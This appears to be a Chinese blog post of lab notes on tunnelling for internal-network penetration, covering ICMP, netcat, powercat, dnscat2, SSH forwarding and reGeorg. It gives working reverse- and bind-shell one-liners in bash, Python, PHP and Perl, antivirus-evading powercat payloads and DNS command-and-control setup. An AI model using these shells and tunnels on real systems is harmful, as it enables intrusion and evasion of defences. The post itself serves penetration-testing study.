首页 > 其他分享 >三层隧道

三层隧道

时间:2024-07-22 10:29:07浏览次数:8  
标签:powercat 隧道 nc 端口 192.168 SSH 转发 三层

网络层隧道

1.IPv6隧道
2.ICMP隧道
ICMP隧道工具有 PingTunnel,icmptunnel,lcmpsh,powershell icmp等
A.icmpsh
B.pingtunnel

icmpsh

https://github.com/bdamele/icmpsh
image.png

:::info
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh m.py IP(公网) IP(内网)
icmpsh.exe -t 公网IP -d 500 -b 30 -s 128
:::
使用本地模拟 ICMP
:::info
kali 192.168.145.130
win10 192.168.145.129
:::
image.png
image.png
image.png
全都是ICMP包的数据 ,证明是使用ICMP传输的

传输层隧道

Icx端口转发

:::info
1.Icx端口转发
A.内网端口转发
目标机器:
Icx.exe -slave 公网主机ip 4444 127.0.0.1 3389
VPS:
Icx.exe -listen 4444 5555

B.本地端口映射
lcx -tran 53目标主机ip 3389

没有找到exe 的 找一个 使用go开发的
https://github.com/cw1997/NATBypass
:::

netcat

端口扫描

nc -v -z 192.168.145.129 1-3389
image.png
这些是不存在的端口
这是存在的端口
image.png
也可以使用
nc -nv 192.168.145.129 1-80
扫描到还会返回网页数据
image.png

正向连接

正向连接

服务器执行:
nc -l -p 8888 -e cmd.exe  //windows
nc -lvp 8888 -e /bin/sh  //linux

本地主机执行:nc -vv 服务器ip 8888

反向shell

存在NC ,而且存在-e 参数

vps攻击机:nc -lvp 9999      // 监听9999端口
靶机:
nc 1.1.1.1 9999 -e /bin/bash  // Linux正向连接公网vps1.1.1.1的9999端口
nc 1.1.1.1 9999 -e cmd.exe  // Windows

不存在NC

vps攻击机:
nc -lvp 6666
靶机:
bash -I >& /dev/tcp/1.1.1.1/6666 0>&1   //而且是linux

存在python 环境

vps攻击机:nc -lvp 6666
靶机:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.1",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

存在PHP环境

vps攻击机:nc -lvp 6666
靶机:php -r '$sock=fsockopen("192.168.145.129",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

存在Perl环境

Vps攻击机:nc -lvp 6666
靶机:perl -e 'use Socket; $i="192.168.32.1";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'=

文件传输

发送端

nc -v 接收端的ip 端口号<被传输文件名
nc -v 0.0.0.0  9999 < test.jar

接收端

nc -l -v 端口号>要写入的文件名(跟被传输文件名可以不一样)
nc -l -v 9999 > test1.jar

但是貌似不行,没-e参数
传过来了是这么个数据
image.png

nc作为代理

使用nc作为一个简单的端口转发

ncat -l 8080 | ncat 192.168.1.1 80

命令实现单向的转发,将链接到本机8080的连接转发到192.168.1.1:80
实现双向管道

mkfifo 2way
ncat -l 8080 0<2way | ncat 192.168.0.1.1 1>2way

powercat

:::info
下载 powercat
https://github.com/besimorhino/powercat
导入 powercat
先设置权限
Set-ExecutionPolicy Unrestricted
再导入
Import-Module .\powercat.psl
查看帮助 -h
powercat -h
:::

PowerCat常用命令:
-l 监听模式
-c连接到侦听器 
-p要连接或监听的端口 
-e执行 
-ep执行Powershell 
-r中继。格式"-r tcp: 10.1.1.1:443"
-u通过UDP传输数据
-dns通过dns传输数据 -dnsftNDS故障阀值 
-t超时选项。默认:60 -I输入:文件路径,字节数组或字符串 
-o控制台输出类型:''主机'',''字节'',''字符串'' 
-of输出文件路径 
-d连接后断开连接 
-rep中继器。断开连接后重启
-g生成有效载荷 
-ge生成编码有效载荷 
-h打印帮助信息

powercat 正向连接

powercat -l -p 4444 -e cmd -v

image.png
nc 连接
nc 192.168.145.129 4444
image.png

powercat 反向连接

nc -l -p 8080 -vv
image.png
Windows 端
powercat -c 172.23.85.7 -p 8080 -v -e cmd.exe
image.png

win7反向连接win2008 并返回Powershell

win7 执行
powercat -l -p 8080 -v
win 2008 执行
powercat -c 192.168.145.10 -p 8080 -v -ep

Powercat 文件传输

win7 执行
powercat -l -p 8080 -of 路径 -v
win2008
powercat -c 192.168.145.10 -p 8080 -i 路径 -v

Powercat 生成 payload(躲避杀软)

win7
powercat -l -p 8080 -e cmd -v -g >>shell.ps1
或者
powercat -l -p 8080 -e cmd -v -ge
这样会生成编码
可以在 08 执行
powercat -E 生成后的编码
win2008
./shell.ps1

Powercat - DNS协议(DNSCAT)

下载dnscat

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

再进入 server

cd dnscat2/server/
gem install bundler
bundle install

linux 端
ruby dnscat2.rb test.test -e open --no-cache
image.png

windows端
powercat -c 172.23.85.7 -p 53 -dns test.test -e cmd
image.png
就会返回linux 端
image.png
输入
session -i 1
进行连接
image.png
因为是dns 所以反应比较慢

powercat 转发

win08
powercat -l -v -p 9999 -e cmd
win7
powercat -l -v -p 8000 -r tcp:192.168.145.129:9999
linux
nc 172.23.85.7 8000 -vv

应用层隧道

SSH隧道

:::info
SSH协议原理
SSH中间人攻击原理
SSH隧道技术3种转发原理
三种转发技术的应用场景分析
动态转发的衍生利用技术
·本地端口转发+远程端口转发的应用场景
:::
在应用层的隧道通信技术是利用应用软件提供的端口发送数据,常用的隧道协议是SSH、 HTTP、 HTTPS和DNS。
image.png
image.png
大概理解为:
本质上就是端口转发。它能够将其他 TCP 端口的网络数据通过 SSH 链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”(tunneling),这是因为 SSH 为其他 TCP 链接提供了一个安全的通道来进行传输而得名。 SSH 端口转发能够提供两大功能: 1.加密 SSH Client 端至 SSH Server 端之间的通讯数据。 2.突破防火墙的限制完成一些之前无法建立的 TCP 连接。

SSH 配置文件

image.png
ssh 常用命令参数
:::info
创建隧道常用的参数说明:
-C:压缩传输,提高传输速度
-f:将ssh转入后台执行,不占用当前的shell
-N:建立静默连接(不回显ssh页面)
-g:允许远程主机连接本地用于端口转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态端口转发(socket代理)
-p:指定ssh端
:::

本地转发和远程转发

SSH 端口转发自然需要 SSH 连接,而 SSH 连接是有方向的,从 SSH Client 到 SSH Server 。而我们的应用也是有方向的,比如需要连接 LDAP Server 时,LDAP Server 自然就是 Server 端,我们应用连接的方向也是从应用的 Client 端连接到应用的 Server 端。如果这两个连接的方向一致,那我们就说它是本地转发。而如果两个方向不一致,我们就说它是远程转发。 另一个方便记忆的方法是,Server 端的端口都是预定义的固定端口(SSH Server 的端口 22,LDAP 的端口 389),而 Client 端的端口都是动态可供我们选择的端口(如上述例子中选用的 7001 端口)。如果 Server 端的两个端口都在同一台机器,Client 端的两个端口都在另一台机器上,那么这就是本地连接;如果这四个端口交叉分布在两个机器上,每台机器各有一个 Server 端端口,一个 Client 端端口,那就是远程连接

本地端口转发

:::info
ssh -L 本地端口:目标主机:目标端口 jump
ssh -L 2121:1.1.10:21 [email protected]
:::

都挺简单,由于 命令就几条,但是要配置环境就没去配置了
参考 :
https://blog.csdn.net/weixin_42742658/article/details/122735119
https://zhuanlan.zhihu.com/p/513691592
https://blog.csdn.net/qq_38844490/article/details/126776873

HTTP协议 —reGeorg隧道

reGeorg 简介
隧道工具 — reGeorg
https://github.com/sensepost/reGeorg
image.png
reGeorg 是一个内网穿透工具,基于 socks5,而且支持众多脚本。因为使用频繁,所以较多的杀软都会拦截,需要做免杀处理。
免杀 版本reG 下载地址:https://github.com/L-codes/Neo-reGeorg
此工具还做了加密,所以很多特征都没有了
-------------------------------------------------------------------------------------------------------------------
把其中的脚本放在目标主机上
这里把 tunnel.php 放在目标主机中 ,
image.png
这个文件似乎有点问题 换成 tunnel.nosocket.php
image.png
连接上了
配置socks代理
vim /etc/proxychains4.conf
image.png
image.png

成功执行

DNS 隧道工具

iodine :
https://github.com/yarrick/iodine
dnscat:
https://github.com/iagox86/dnscat2

隧道技术的优势和劣势

image.png

标签:powercat,隧道,nc,端口,192.168,SSH,转发,三层
From: https://blog.csdn.net/qq_52579508/article/details/140595521

相关文章

  • 【核心交换机,二层交换机,三层交换机】一文讲懂
    理解一层交换机、二层交换机、三层交换机以及核心交换机的区别,可以将它们比喻成不同的交通设施和运输系统。一层交换机实际上,很少提及“一层交换机”,因为在现代网络中,这种类型的设备更接近于简单的物理连接设备,如集线器或中继器。一层交换机工作在OSI模型的物理层,主要负责信......
  • 隧道代理:安全性评估维度与精选代理分析
    作为一支专注于网络技术深度测评的团队,我们深知,在纷繁复杂的代理市场中,为用户筛选出既高效又安全的隧道代理服务,是维护网络生态健康、保障用户数据安全的重要使命。今天,我们将带您深入剖析隧道代理的安全性评估维度,并为您推荐两家经过严格筛选的代理服务商,通过具体数据与实际体......
  • MVC和三层架构的区别
    详细的各个概念MVC详解三层架构详解文章目录一、MVC与三层架构的基础概念1.MVC2.三层架构二、异同三、区别一、MVC与三层架构的基础概念1.MVC模型(Model):负责处理数据逻辑,与数据库交互、数据验证等。视图(View):负责界面展示,通常是用户界面的部分,如网页中的HTML页......
  • 三层架构的概念
    文章目录一、什么是三层架构1.概念2.具体描述二.三层架构的优缺点1.优点2.缺点三,三层架构部分代码演示一、什么是三层架构1.概念三层架构(Three-tierarchitecture)与MVC类似(Model-View-Controller)同样是一种软件架构模式,将应用程序分为三个主要层次:表示层(UserInt......
  • 企业网三层架构
    企业网三层架构:是一种层次化模型设计,旨在将复杂的网络设计分成三个层次,每个层次都着重于某些特定的功能,以提高效率和稳定性。企业网三层架构层次:接入层:使终端设备接入到网络中来,提供接入端口并增加端口密度汇聚层:汇聚接入层收集的流量,并作为STP的根网桥和终端设备的网关核心......
  • 基于Zigbee技术的隧道灯光控制系统设计
    基于Zigbee技术的隧道灯光控制系统设计摘要随着高速公路网络的不断扩展,隧道作为连接重要路段的特殊构造,其照明系统的重要性日益凸显。传统隧道照明系统存在控制方式落后、能源浪费严重、缺乏智能化调节等问题。本文旨在设计一种基于Zigbee技术的隧道灯光控制系统,通过无线传感......
  • 简单的Java面向对象小游戏并使用三层架构(表示层、业务逻辑层、数据访问层)
    本人详解作者:王文峰,参加过CSDN2020年度博客之星,《Java王大师王天师》公众号:JAVA开发王大师,专注于天道酬勤的Java开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯山峯转载说明:务必注明来源(注明:作者:王文峰哦)简单的Java面......
  • Apifox 6月更新|定时任务、内网自部署服务器运行接口定时导入、数据库 SSH 隧道连接
    Apifox新版本上线啦!!! 看看本次版本更新主要涵盖的重点内容,有没有你所关注的功能特性:自动化测试支持设置「定时任务」 支持内网自部署服务器运行「定时导入」数据库均支持通过SSH隧道连接自动化测试数据库操作优化 将Apifox更新至最新版,一起开启全新体验......
  • devtunnel 是一个用于管理开发者隧道(developer tunnels)的命令行工具。开发者隧道通常
    创建和托管隧道-Microsoftdevtunnels|MicrosoftLearndevtunnel是一个用于管理开发者隧道(developertunnels)的命令行工具。开发者隧道通常用于将本地计算机上的服务暴露到公共互联网或特定网络中,以便开发人员可以在开发和调试过程中访问这些服务。具体来说,devtunnel提供......
  • ensp 实验十一单臂路由 三层交换机
    本实验基于单臂路由、三层交换机、ospf实现通信。网络拓扑图如下:如图所示,LSW1为二层交换机,和AR1之间使用单臂路由进行连接,在两台pc机之间设置vlan1020。LSW1和两台pc机之间的0/0/2、0/0/3接口使用access口;0/0/1则使用trunk口进行通信并且允许vlan1020通过。并且公告两台pc机......